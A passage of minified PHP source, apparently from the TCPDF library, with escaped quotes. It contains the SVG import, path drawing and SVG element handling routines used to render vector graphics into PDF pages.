($y<=$regdata[\'yb\'])){$minv=($regdata[\'xb\']-$regdata[\'xt\'])/($regdata[\'yb\']-$regdata[\'yt\']);$yt=max($y,$regdata[\'yt\']);$yb=min(($yt+$h),$regdata[\'yb\']);$xt=(($yt-$regdata[\'yt\'])*$minv)+$regdata[\'xt\'];$xb=(($yb-$regdata[\'yt\'])*$minv)+$regdata[\'xt\'];if($regdata[\'side\']==\'L\'){$new_margin=max($xt,$xb);if($this->lMargin<$new_margin){if($this->rtl){$this->lMargin=max(0,$new_margin);}if($x<$new_margin){$x=$new_margin;if($new_margin>($this->w-$this->rMargin)){$y=$regdata[\'yb\']-$h;}}}}elseif($regdata[\'side\']==\'R\'){$new_margin=min($xt,$xb);if(($this->w-$this->rMargin)>$new_margin){if(!$this->rtl){$this->rMargin=max(0,($this->w-$new_margin));}if($x>$new_margin){$x=$new_margin;if($new_margin>$this->lMargin){$y=$regdata[\'yb\']-$h;}}}}}}}return array($x,$y);} function ImageSVG($file,$x=\'\',$y=\'\',$w=0,$h=0,$link=\'\',$align=\'\',$palign=\'\',$border=0,$fitonpage=false){if($this->state!=2){return;}$this->svggradients=array();$this->svggradientid=0;$this->svgdefsmode=false;$this->svgdefs=array();$this->svgclipmode=false;$this->svgclippaths=array();$this->svgcliptm=array();$this->svgclipid=0;$this->svgtext=\'\';$this->svgtextmode=array();if($this->rasterize_vector_images AND ($w>0) AND ($h>0)){return $this->Image($file,$x,$y,$w,$h,\'SVG\',$link,$align,true,300,$palign,false,false,$border,false,false,false);}if($file[0]===\'@\'){$this->svgdir=\'\';$svgdata=substr($file,1);}else {$this->svgdir=dirname($file);$svgdata=TCPDF_STATIC::fileGetContents($file);}if($svgdata===FALSE){$this->Error(\'SVG file not found: \'.$file);}if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$k=$this->k;$ox=0;$oy=0;$ow=$w;$oh=$h;$aspect_ratio_align=\'xMidYMid\';$aspect_ratio_ms=\'meet\';$regs=array();preg_match(\'/<svg([^\>]*)>/si\',$svgdata,$regs);if(isset($regs[1]) AND !empty($regs[1])){$tmp=array();if(preg_match(\'/[\s]+x[\s]*=[\s]*"([^"]*)"/si\',$regs[1],$tmp)){$ox=$this->getHTMLUnitToUnits($tmp[1],0,$this->svgunit,false);}$tmp=array();if(preg_match(\'/[\s]+y[\s]*=[\s]*"([^"]*)"/si\',$regs[1],$tmp)){$oy=$this->getHTMLUnitToUnits($tmp[1],0,$this->svgunit,false);}$tmp=array();if(preg_match(\'/[\s]+width[\s]*=[\s]*"([^"]*)"/si\',$regs[1],$tmp)){$ow=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);}$tmp=array();if(preg_match(\'/[\s]+height[\s]*=[\s]*"([^"]*)"/si\',$regs[1],$tmp)){$oh=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);}$tmp=array();$view_box=array();if(preg_match(\'/[\s]+viewBox[\s]*=[\s]*"[\s]*([0-9\.\-]+)[\s]+([0-9\.\-]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]*"/si\',$regs[1],$tmp)){if(count($tmp)==5){array_shift($tmp);foreach($tmp as $key=>$val){$view_box[$key]=$this->getHTMLUnitToUnits($val,0,$this->svgunit,false);}$ox=$view_box[0];$oy=$view_box[1];}$tmp=array();if(preg_match(\'/[\s]+preserveAspectRatio[\s]*=[\s]*"([^"]*)"/si\',$regs[1],$tmp)){$aspect_ratio=preg_split(\'/[\s]+/si\',$tmp[1]);switch(count($aspect_ratio)){case 3:{$aspect_ratio_align=$aspect_ratio[1];$aspect_ratio_ms=$aspect_ratio[2];break;}case 2:{$aspect_ratio_align=$aspect_ratio[0];$aspect_ratio_ms=$aspect_ratio[1];break;}case 1:{$aspect_ratio_align=$aspect_ratio[0];$aspect_ratio_ms=\'meet\';break;}}}}}if($ow<=0){$ow=1;}if($oh<=0){$oh=1;}if(($w<=0) AND ($h<=0)){$w=$ow;$h=$oh;}elseif($w<=0){$w=$h*$ow/$oh;}elseif($h<=0){$h=$w*$oh/$ow;}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);if($this->rasterize_vector_images){return $this->Image($file,$x,$y,$w,$h,\'SVG\',$link,$align,true,300,$palign,false,false,$border,false,false,false);}$this->img_rb_y=$y+$h;if($this->rtl){if($palign==\'L\'){$ximg=$this->lMargin;}elseif($palign==\'C\'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign==\'R\'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign==\'L\'){$ximg=$this->lMargin;}elseif($palign==\'C\'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign==\'R\'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}$gvars=$this->getGraphicVars();$svgoffset_x=($ximg-$ox)*$this->k;$svgoffset_y=-($y-$oy)*$this->k;if(isset($view_box[2]) AND ($view_box[2]>0) AND ($view_box[3]>0)){$ow=$view_box[2];$oh=$view_box[3];}else {if($ow<=0){$ow=$w;}if($oh<=0){$oh=$h;}}$svgscale_x=$w/$ow;$svgscale_y=$h/$oh;if($aspect_ratio_align!=\'none\'){$svgscale_old_x=$svgscale_x;$svgscale_old_y=$svgscale_y;if($aspect_ratio_ms==\'slice\'){if($svgscale_x>$svgscale_y){$svgscale_y=$svgscale_x;}elseif($svgscale_x<$svgscale_y){$svgscale_x=$svgscale_y;}}else {if($svgscale_x<$svgscale_y){$svgscale_y=$svgscale_x;}elseif($svgscale_x>$svgscale_y){$svgscale_x=$svgscale_y;}}switch(substr($aspect_ratio_align,1,3)){case \'Min\':{break;}case \'Max\':{$svgoffset_x+=(($w*$this->k)-($ow*$this->k*$svgscale_x));break;}default:case \'Mid\':{$svgoffset_x+=((($w*$this->k)-($ow*$this->k*$svgscale_x))/2);break;}}switch(substr($aspect_ratio_align,5)){case \'Min\':{break;}case \'Max\':{$svgoffset_y-=(($h*$this->k)-($oh*$this->k*$svgscale_y));break;}default:case \'Mid\':{$svgoffset_y-=((($h*$this->k)-($oh*$this->k*$svgscale_y))/2);break;}}}$page_break_mode=$this->AutoPageBreak;$page_break_margin=$this->getBreakMargin();$cell_padding=$this->cell_padding;$this->SetCellPadding(0);$this->SetAutoPageBreak(false);$this->_out(\'q\'.$this->epsmarker);$this->Rect($ximg,$y,$w,$h,\'CNZ\',array(),array());$e=$ox*$this->k*(1-$svgscale_x);$f=($this->h-$oy)*$this->k*(1-$svgscale_y);$this->_out(sprintf(\'%F %F %F %F %F %F cm\',$svgscale_x,0,0,$svgscale_y,($e+$svgoffset_x),($f+$svgoffset_y)));$this->parser=xml_parser_create(\'UTF-8\');xml_set_object($this->parser,$this);xml_parser_set_option($this->parser,XML_OPTION_CASE_FOLDING,0);xml_set_element_handler($this->parser,\'startSVGElementHandler\',\'endSVGElementHandler\');xml_set_character_data_handler($this->parser,\'segSVGContentHandler\');if(!xml_parse($this->parser,$svgdata)){$error_message=sprintf(\'SVG Error: %s at line %d\',xml_error_string(xml_get_error_code($this->parser)),xml_get_current_line_number($this->parser));$this->Error($error_message);}xml_parser_free($this->parser);$this->_out($this->epsmarker.\'Q\');$this->setGraphicVars($gvars);$this->lasth=$gvars[\'lasth\'];if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,\'\',$border,0,\'\',0,\'\',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case \'T\':{$this->y=$y;$this->x=$this->img_rb_x;break;}case \'M\':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case \'B\':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case \'N\':{$this->SetY($this->img_rb_y);break;}default:{$this->x=$gvars[\'x\'];$this->y=$gvars[\'y\'];$this->page=$gvars[\'page\'];$this->current_column=$gvars[\'current_column\'];$this->tMargin=$gvars[\'tMargin\'];$this->bMargin=$gvars[\'bMargin\'];$this->w=$gvars[\'w\'];$this->h=$gvars[\'h\'];$this->wPt=$gvars[\'wPt\'];$this->hPt=$gvars[\'hPt\'];$this->fwPt=$gvars[\'fwPt\'];$this->fhPt=$gvars[\'fhPt\'];break;}}$this->endlinex=$this->img_rb_x;$this->SetAutoPageBreak($page_break_mode,$page_break_margin);$this->cell_padding=$cell_padding;} function convertSVGtMatrix($tm){$a=$tm[0];$b=-$tm[1];$c=-$tm[2];$d=$tm[3];$e=$this->getHTMLUnitToUnits($tm[4],1,$this->svgunit,false)*$this->k;$f=-$this->getHTMLUnitToUnits($tm[5],1,$this->svgunit,false)*$this->k;$x=0;$y=$this->h*$this->k;$e=($x*(1-$a))-($y*$c)+$e;$f=($y*(1-$d))-($x*$b)+$f;return array($a,$b,$c,$d,$e,$f);} function SVGTransform($tm){$this->Transform($this->convertSVGtMatrix($tm));} function SVGPath($d,$style=\'\'){if($this->state!=2){return;}$op=TCPDF_STATIC::getPathPaintOperator($style,\'\');if(empty($op)){return;}$paths=array();$d=preg_replace(\'/([0-9ACHLMQSTVZ])([\-\+])/si\',\'\1 \2\',$d);preg_match_all(\'/([ACHLMQSTVZ])[\s]*([^ACHLMQSTVZ\"]*)/si\',$d,$paths,PREG_SET_ORDER);$x=0;$y=0;$x1=0;$y1=0;$x2=0;$y2=0;$xmin=2147483647;$xmax=0;$ymin=2147483647;$ymax=0;$relcoord=false;$minlen=(0.01/$this->k);$firstcmd=true;foreach($paths as $key=>$val){$cmd=trim($val[1]);if(strtolower($cmd)==$cmd){$relcoord=true;$xoffset=$x;$yoffset=$y;}else {$relcoord=false;$xoffset=0;$yoffset=0;}$params=array();if(isset($val[2])){$rawparams=preg_split(\'/([\,\s]+)/si\',trim($val[2]));$params=array();foreach($rawparams as $ck=>$cp){$params[$ck]=$this->getHTMLUnitToUnits($cp,0,$this->svgunit,false);if(abs($params[$ck])<$minlen){$params[$ck]=0;}}}$x0=$x;$y0=$y;switch(strtoupper($cmd)){case \'M\':{foreach($params as $ck=>$cp){if(($ck%2)==0){$x=$cp+$xoffset;}else {$y=$cp+$yoffset;if($firstcmd OR (abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){if($ck==1){$this->_outPoint($x,$y);$firstcmd=false;}else {$this->_outLine($x,$y);}$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case \'L\':{foreach($params as $ck=>$cp){if(($ck%2)==0){$x=$cp+$xoffset;}else {$y=$cp+$yoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case \'H\':{foreach($params as $ck=>$cp){$x=$cp+$xoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$xmax=max($xmax,$x);if($relcoord){$xoffset=$x;}}break;}case \'V\':{foreach($params as $ck=>$cp){$y=$cp+$yoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$ymin=min($ymin,$y);$ymax=max($ymax,$y);if($relcoord){$yoffset=$y;}}break;}case \'C\':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%6)==0){$x1=$params[($ck-5)]+$xoffset;$y1=$params[($ck-4)]+$yoffset;$x2=$params[($ck-3)]+$xoffset;$y2=$params[($ck-2)]+$yoffset;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$this->_outCurve($x1,$y1,$x2,$y2,$x,$y);$xmin=min($xmin,$x,$x1,$x2);$ymin=min($ymin,$y,$y1,$y2);$xmax=max($xmax,$x,$x1,$x2);$ymax=max($ymax,$y,$y1,$y2);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case \'S\':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%4)==0){if(($key>0) AND ((strtoupper($paths[($key-1)][1])==\'C\') OR (strtoupper($paths[($key-1)][1])==\'S\'))){$x1=(2*$x)-$x2;$y1=(2*$y)-$y2;}else {$x1=$x;$y1=$y;}$x2=$params[($ck-3)]+$xoffset;$y2=$params[($ck-2)]+$yoffset;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$this->_outCurve($x1,$y1,$x2,$y2,$x,$y);$xmin=min($xmin,$x,$x1,$x2);$ymin=min($ymin,$y,$y1,$y2);$xmax=max($xmax,$x,$x1,$x2);$ymax=max($ymax,$y,$y1,$y2);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case \'Q\':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%4)==0){$x1=$params[($ck-3)]+$xoffset;$y1=$params[($ck-2)]+$yoffset;$xa=($x+(2*$x1))/3;$ya=($y+(2*$y1))/3;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$xb=($x+(2*$x1))/3;$yb=($y+(2*$y1))/3;$this->_outCurve($xa,$ya,$xb,$yb,$x,$y);$xmin=min($xmin,$x,$xa,$xb);$ymin=min($ymin,$y,$ya,$yb);$xmax=max($xmax,$x,$xa,$xb);$ymax=max($ymax,$y,$ya,$yb);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case \'T\':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if(($ck%2)!=0){if(($key>0) AND ((strtoupper($paths[($key-1)][1])==\'Q\') OR (strtoupper($paths[($key-1)][1])==\'T\'))){$x1=(2*$x)-$x1;$y1=(2*$y)-$y1;}else {$x1=$x;$y1=$y;}$xa=($x+(2*$x1))/3;$ya=($y+(2*$y1))/3;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$xb=($x+(2*$x1))/3;$yb=($y+(2*$y1))/3;$this->_outCurve($xa,$ya,$xb,$yb,$x,$y);$xmin=min($xmin,$x,$xa,$xb);$ymin=min($ymin,$y,$ya,$yb);$xmax=max($xmax,$x,$xa,$xb);$ymax=max($ymax,$y,$ya,$yb);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case \'A\':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%7)==0){$x0=$x;$y0=$y;$rx=abs($params[($ck-6)]);$ry=abs($params[($ck-5)]);$ang=-$rawparams[($ck-4)];$angle=deg2rad($ang);$fa=$rawparams[($ck-3)];$fs=$rawparams[($ck-2)];$x=$params[($ck-1)]+$xoffset;$y=$params[$ck]+$yoffset;if((abs($x0-$x)<$minlen) AND (abs($y0-$y)<$minlen)){$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);}else {$cos_ang=cos($angle);$sin_ang=sin($angle);$a=(($x0-$x)/2);$b=(($y0-$y)/2);$xa=($a*$cos_ang)-($b*$sin_ang);$ya=($a*$sin_ang)+($b*$cos_ang);$rx2=$rx*$rx;$ry2=$ry*$ry;$xa2=$xa*$xa;$ya2=$ya*$ya;$delta=($xa2/$rx2)+($ya2/$ry2);if($delta>1){$rx*=sqrt($delta);$ry*=sqrt($delta);$rx2=$rx*$rx;$ry2=$ry*$ry;}$numerator=(($rx2*$ry2)-($rx2*$ya2)-($ry2*$xa2));if($numerator<0){$root=0;}else {$root=sqrt($numerator/(($rx2*$ya2)+($ry2*$xa2)));}if($fa==$fs){$root*=-1;}$cax=$root*(($rx*$ya)/$ry);$cay=-$root*(($ry*$xa)/$rx);$cx=($cax*$cos_ang)-($cay*$sin_ang)+(($x0+$x)/2);$cy=($cax*$sin_ang)+($cay*$cos_ang)+(($y0+$y)/2);$angs=TCPDF_STATIC::getVectorsAngle(1,0,(($xa-$cax)/$rx),(($cay-$ya)/$ry));$dang=TCPDF_STATIC::getVectorsAngle((($xa-$cax)/$rx),(($ya-$cay)/$ry),((-$xa-$cax)/$rx),((-$ya-$cay)/$ry));if(($fs==0) AND ($dang>0)){$dang-=(2*M_PI);}elseif(($fs==1) AND ($dang<0)){$dang+=(2*M_PI);}$angf=$angs-$dang;if((($fs==0) AND ($angs>$angf)) OR (($fs==1) AND ($angs<$angf))){$tmp=$angs;$angs=$angf;$angf=$tmp;}$angs=round(rad2deg($angs),6);$angf=round(rad2deg($angf),6);if(($angs<0) AND ($angf<0)){$angs+=360;$angf+=360;}$pie=false;if(($key==0) AND (isset($paths[($key+1)][1])) AND (trim($paths[($key+1)][1])==\'z\')){$pie=true;}list($axmin,$aymin,$axmax,$aymax)=$this->_outellipticalarc($cx,$cy,$rx,$ry,$ang,$angs,$angf,$pie,2,false,($fs==0),true);$xmin=min($xmin,$x,$axmin);$ymin=min($ymin,$y,$aymin);$xmax=max($xmax,$x,$axmax);$ymax=max($ymax,$y,$aymax);}if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case \'Z\':{$this->_out(\'h\');break;}}$firstcmd=false;}if(!empty($op)){$this->_out($op);}return array($xmin,$ymin,($xmax-$xmin),($ymax-$ymin));} function removeTagNamespace($name){if(strpos($name,\':\')!==false){$parts=explode(\':\',$name);return $parts[(sizeof($parts)-1)];}return $name;} function startSVGElementHandler($parser,$name,$attribs,$ctm=array()){$name=$this->removeTagNamespace($name);if($this->svgclipmode){$this->svgclippaths[$this->svgclipid][]=array(\'name\'=>$name,\'attribs\'=>$attribs,\'tm\'=>$this->svgcliptm[$this->svgclipid]);return;}if($this->svgdefsmode AND !in_array($name,array(\'clipPath\',\'linearGradient\',\'radialGradient\',\'stop\'))){if(isset($attribs[\'id\'])){$attribs[\'child_elements\']=array();$this->svgdefs[$attribs[\'id\']]=array(\'name\'=>$name,\'attribs\'=>$attribs);return;}if(end($this->svgdefs)!==FALSE){$last_svgdefs_id=key($this->svgdefs);if(isset($this->svgdefs[$last_svgdefs_id][\'attribs\'][\'child_elements\'])){$attribs[\'id\']=\'DF_\'.(count($this->svgdefs[$last_svgdefs_id][\'attribs\'][\'child_elements\'])+1);$this->svgdefs[$last_svgdefs_id][\'attribs\'][\'child_elements\'][$attribs[\'id\']]=array(\'name\'=>$name,\'attribs\'=>$attribs);return;}}return;}$clipping=false;if($parser==\'clip-path\'){$clipping=true;}$prev_svgstyle=$this->svgstyles[max(0,(count($this->svgstyles)-1))];$svgstyle=$this->svgstyles[0];if($clipping AND !isset($attribs[\'fill\']) AND (!isset($attribs[\'style\']) OR (!preg_match(\'/[;\"\s]{1}fill[\s]*:[\s]*([^;\"]*)/si\',$attribs[\'style\'],$attrval)))){$attribs[\'fill\']=\'none\';}if(isset($attribs[\'style\']) AND !TCPDF_STATIC::empty_string($attribs[\'style\']) AND ($attribs[\'style\'][0]!=\';\')){$attribs[\'style\']=\';\'.$attribs[\'style\'];}foreach($prev_svgstyle as $key=>$val){if(in_array($key,TCPDF_IMAGES::$svginheritprop)){$svgstyle[$key]=$val;}if(isset($attribs[$key]) AND !TCPDF_STATIC::empty_string($attribs[$key])){if($attribs[$key]==\'inherit\'){$svgstyle[$key]=$val;}else {$svgstyle[$key]=$attribs[$key];}}elseif(isset($attribs[\'style\']) AND !TCPDF_STATIC::empty_string($attribs[\'style\'])){$attrval=array();if(preg_match(\'/[;\"\s]{1}\'.$key.\'[\s]*:[\s]*([^;\"]*)/si\',$attribs[\'style\'],$attrval) AND isset($attrval[1])){if($attrval[1]==\'inherit\'){$svgstyle[$key]=$val;}else {$svgstyle[$key]=$attrval[1];}}}}if(!empty($ctm)){$tm=$ctm;}else {$tm=array(1,0,0,1,0,0);}if(isset($attribs[\'transform\']) AND !empty($attribs[\'transform\'])){$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,TCPDF_STATIC::getSVGTransformMatrix($attribs[\'transform\']));}$svgstyle[\'transfmatrix\']=$tm;$invisible=false;if(($svgstyle[\'visibility\']==\'hidden\') OR ($svgstyle[\'visibility\']==\'collapse\') OR ($svgstyle[\'display\']==\'none\')){$invisible=true;}switch($name){case \'defs\':{$this->svgdefsmode=true;break;}case \'clipPath\':{if($invisible){break;}$this->svgclipmode=true;if(!isset($attribs[\'id\'])){$attribs[\'id\']=\'CP_\'.(count($this->svgcliptm)+1);}$this->svgclipid=$attribs[\'id\'];$this->svgclippaths[$this->svgclipid]=array();$this->svgcliptm[$this->svgclipid]=$tm;break;}case \'g\':{array_push($this->svgstyles,$svgstyle);$this->StartTransform();$x=(isset($attribs[\'x\'])?$attribs[\'x\']:0);$y=(isset($attribs[\'y\'])?$attribs[\'y\']:0);$w=1;$h=1;$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,array($w,0,0,$h,$x,$y));$this->SVGTransform($tm);$this->setSVGStyles($svgstyle,$prev_svgstyle);break;}case \'linearGradient\':{if($this->pdfa_mode){break;}if(!isset($attribs[\'id\'])){$attribs[\'id\']=\'GR_\'.(count($this->svggradients)+1);}$this->svggradientid=$attribs[\'id\'];$this->svggradients[$this->svggradientid]=array();$this->svggradients[$this->svggradientid][\'type\']=2;$this->svggradients[$this->svggradientid][\'stops\']=array();if(isset($attribs[\'gradientUnits\'])){$this->svggradients[$this->svggradientid][\'gradientUnits\']=$attribs[\'gradientUnits\'];}else {$this->svggradients[$this->svggradientid][\'gradientUnits\']=\'objectBoundingBox\';}if(((!isset($attribs[\'x1\'])) AND (!isset($attribs[\'y1\'])) AND (!isset($attribs[\'x2\'])) AND (!isset($attribs[\'y2\']))) OR ((isset($attribs[\'x1\']) AND (substr($attribs[\'x1\'],-1)==\'%\')) OR (isset($attribs[\'y1\']) AND (substr($attribs[\'y1\'],-1)==\'%\')) OR (isset($attribs[\'x2\']) AND (substr($attribs[\'x2\'],-1)==\'%\')) OR (isset($attribs[\'y2\']) AND (substr($attribs[\'y2\'],-1)==\'%\')))){$this->svggradients[$this->svggradientid][\'mode\']=\'percentage\';}else {$this->svggradients[$this->svggradientid][\'mode\']=\'measure\';}$x1=(isset($attribs[\'x1\'])?$attribs[\'x1\']:\'0\');$y1=(isset($attribs[\'y1\'])?$attribs[\'y1\']:\'0\');$x2=(isset($attribs[\'x2\'])?$attribs[\'x2\']:\'100\');$y2=(isset($attribs[\'y2\'])?$attribs[\'y2\']:\'0\');if(isset($attribs[\'gradientTransform\'])){$this->svggradients[$this->svggradientid][\'gradientTransform\']=TCPDF_STATIC::getSVGTransformMatrix($attribs[\'gradientTransform\']);}$this->svggradients[$this->svggradientid][\'coords\']=array($x1,$y1,$x2,$y2);if(isset($attribs[\'xlink:href\']) AND !empty($attribs[\'xlink:href\'])){$this->svggradients[$this->svggradientid][\'xref\']=substr($attribs[\'xlink:href\'],1);}break;}case \'radialGradient\':{if($this->pdfa_mode){break;}if(!isset($attribs[\'id\'])){$attribs[\'id\']=\'GR_\'.(count($this->svggradients)+1);}$this->svggradientid=$attribs[\'id\'];$this->svggradients[$this->svggradientid]=array();$this->svggradients[$this->svggradientid][\'type\']=3;$this->svggradients[$this->svggradientid][\'stops\']=array();if(isset($attribs[\'gradientUnits\'])){$this->svggradients[$this->svggradientid][\'gradientUnits\']=$attribs[\'gradientUnits\'];}else {$this->svggradients[$this->svggradientid][\'gradientUnits\']=\'objectBoundingBox\';}if(((!isset($attribs[\'cx\'])) AND (!isset($attribs[\'cy\']))) OR ((isset($attribs[\'cx\']) AND (substr($attribs[\'cx\'],-1)==\'%\')) OR (isset($attribs[\'cy\']) AND (substr($attribs[\'cy\'],-1)==\'%\')))){$this->svggradients[$this->svggradientid][\'mode\']=\'percentage\';}elseif(isset($attribs[\'r\']) AND is_numeric($attribs[\'r\']) AND ($attribs[\'r\'])<=1){$this->svggradients[$this->svggradientid][\'mode\']=\'ratio\';}else {$this->svggradients[$this->svggradientid][\'mode\']=\'measure\';}$cx=(isset($attribs[\'cx\'])?$attribs[\'cx\']:0.5);$cy=(isset($attribs[\'cy\'])?$attribs[\'cy\']:0.5);$fx=(isset($attribs[\'fx\'])?$attribs[\'fx\']:$cx);$fy=(isset($attribs[\'fy\'])?$attribs[\'fy\']:$cy);$r=(isset($attribs[\'r\'])?$attribs[\'r\']:0.5);if(isset($attribs[\'gradientTransform\'])){$this->svggradients[$this->svggradientid][\'gradientTransform\']=TCPDF_STATIC::getSVGTransformMatrix($attribs[\'gradientTransform\']);}$this->svggradients[$this->svggradientid][\'coords\']=array($cx,$cy,$fx,$fy,$r);if(isset($attribs[\'xlink:href\']) AND !empty($attribs[\'xlink:href\'])){$this->svggradients[$this->svggradientid][\'xref\']=substr($attribs[\'xlink:href\'],1);}break;}case \'stop\':{if(substr($attribs[\'offset\'],-1)==\'%\'){$offset=floatval(substr($attribs[\'offset\'],-1))/100;}else {$offset=floatval($attribs[\'offset\']);if($offset>1){$offset/=100;}}$stop_color=isset($svgstyle[\'stop-color\'])?TCPDF_COLORS::convertHTMLColorToDec($svgstyle[\'stop-color\'],$this->spot_colors):\'black\';$opacity=isset($svgstyle[\'stop-opacity\'])?$svgstyle[\'stop-opacity\']:1;$this->svggradients[$this->svggradientid][\'stops\'][]=array(\'offset\'=>$offset,\'color\'=>$stop_color,\'opacity\'=>$opacity);break;}case \'path\':{if($invisible){break;}if(isset($attribs[\'d\'])){$d=trim($attribs[\'d\']);if(!empty($d)){$x=(isset($attribs[\'x\'])?$attribs[\'x\']:0);$y=(isset($attribs[\'y\'])?$attribs[\'y\']:0);$w=(isset($attribs[\'width\'])?$attribs[\'width\']:1);$h=(isset($attribs[\'height\'])?$attribs[\'height\']:1);$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,array($w,0,0,$h,$x,$y));if($clipping){$this->SVGTransform($tm);$this->SVGPath($d,\'CNZ\');}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,\'SVGPath\',array($d,\'CNZ\'));if(!empty($obstyle)){$this->SVGPath($d,$obstyle);}$this->StopTransform();}}}break;}case \'rect\':{if($invisible){break;}$x=(isset($attribs[\'x\'])?$this->getHTMLUnitToUnits($attribs[\'x\'],0,$this->svgunit,false):0);$y=(isset($attribs[\'y\'])?$this->getHTMLUnitToUnits($attribs[\'y\'],0,$this->svgunit,false):0);$w=(isset($attribs[\'width\'])?$this->getHTMLUnitToUnits($attribs[\'width\'],0,$this->svgunit,false):0);$h=(isset($attribs[\'height\'])?$this->getHTMLUnitToUnits($attribs[\'height\'],0,$this->svgunit,false):0);$rx=(isset($attribs[\'rx\'])?$this->getHTMLUnitToUnits($attribs[\'rx\'],0,$this->svgunit,false):0);$ry=(isset($attribs[\'ry\'])?$this->getHTMLUnitToUnits($attribs[\'ry\'],0,$this->svgunit,false):$rx);if($clipping){$this->SVGTransform($tm);$this->RoundedRectXY($x,$y,$w,$h,$rx,$ry,\'1111\',\'CNZ\',array(),array());}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,\'RoundedRectXY\',array($x,$y,$w,$h,$rx,$ry,\'1111\',\'CNZ\'));if(!empty($obstyle)){$this->RoundedRectXY($x,$y,$w,$h,$rx,$ry,\'1111\',$obstyle,array(),array());}$this->StopTransform();}break;}case \'circle\':{if($invisible){break;}$r=(isset($attribs[\'r\'])?$this->getHTMLUnitToUnits($attribs[\'r\'],0,$this->svgunit,false):0);$cx=(isset($attribs[\'cx\'])?$this->getHTMLUnitToUnits($attribs[\'cx\'],0,$this->svgunit,false):(isset($attribs[\'x\'])?$this->getHTMLUnitToUnits($attribs[\'x\'],0,$this->svgunit,false):0));$cy=(isset($attribs[\'cy\'])?$this->getHTMLUnitToUnits($attribs[\'cy\'],0,$this->svgunit,false):(isset($attribs[\'y\'])?$this->getHTMLUnitToUnits($attribs[\'y\'],0,$this->svgunit,false):0));$x=($cx-$r);$y=($cy-$r);$w=(2*$r);$h=$w;if($clipping){$this->SVGTransform($tm);$this->Circle($cx,$cy,$r,0,360,\'CNZ\',array(),array(),8);}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,\'Circle\',array($cx,$cy,$r,0,360,\'CNZ\'));if(!empty($obstyle)){$this->Circle($cx,$cy,$r,0,360,$obstyle,array(),array(),8);}$this->StopTransform();}break;}case \'ellipse\':{if($invisible){break;}$rx=(isset($attribs[\'rx\'])?$this->getHTMLUnitToUnits($attribs[\'rx\'],0,$this->svgunit,false):0);$ry=(isset($attribs[\'ry\'])?$this->getHTMLUnitToUnits($attribs[\'ry\'],0,$this->svgunit,false):0);$cx=(isset($attribs[\'cx\'])?$this->getHTMLUnitToUnits($attribs[\'cx\'],0,$this->svgunit,false):(isset($attribs[\'x\'])?$this->getHTMLUnitToUnits($attribs[\'x\'],0,$this->svgunit,false):0));$cy=(isset($attribs[\'cy\'])?$this->getHTMLUnitToUnits($attribs[\'cy\'],0,$this->svgunit,false):(isset($attribs[\'y\'])?$this->getHTMLUnitToUnits($attribs[\'y\'],0,$this->svgunit,false):0));$x=($cx-$rx);$y=($cy-$ry);$w=(2*$rx);$h=(2*$ry);if($clipping){$this->SVGTransform($tm);$this->Ellipse($cx,$cy,$rx,$ry,0,0,360,\'CNZ\',array(),array(),8);}else 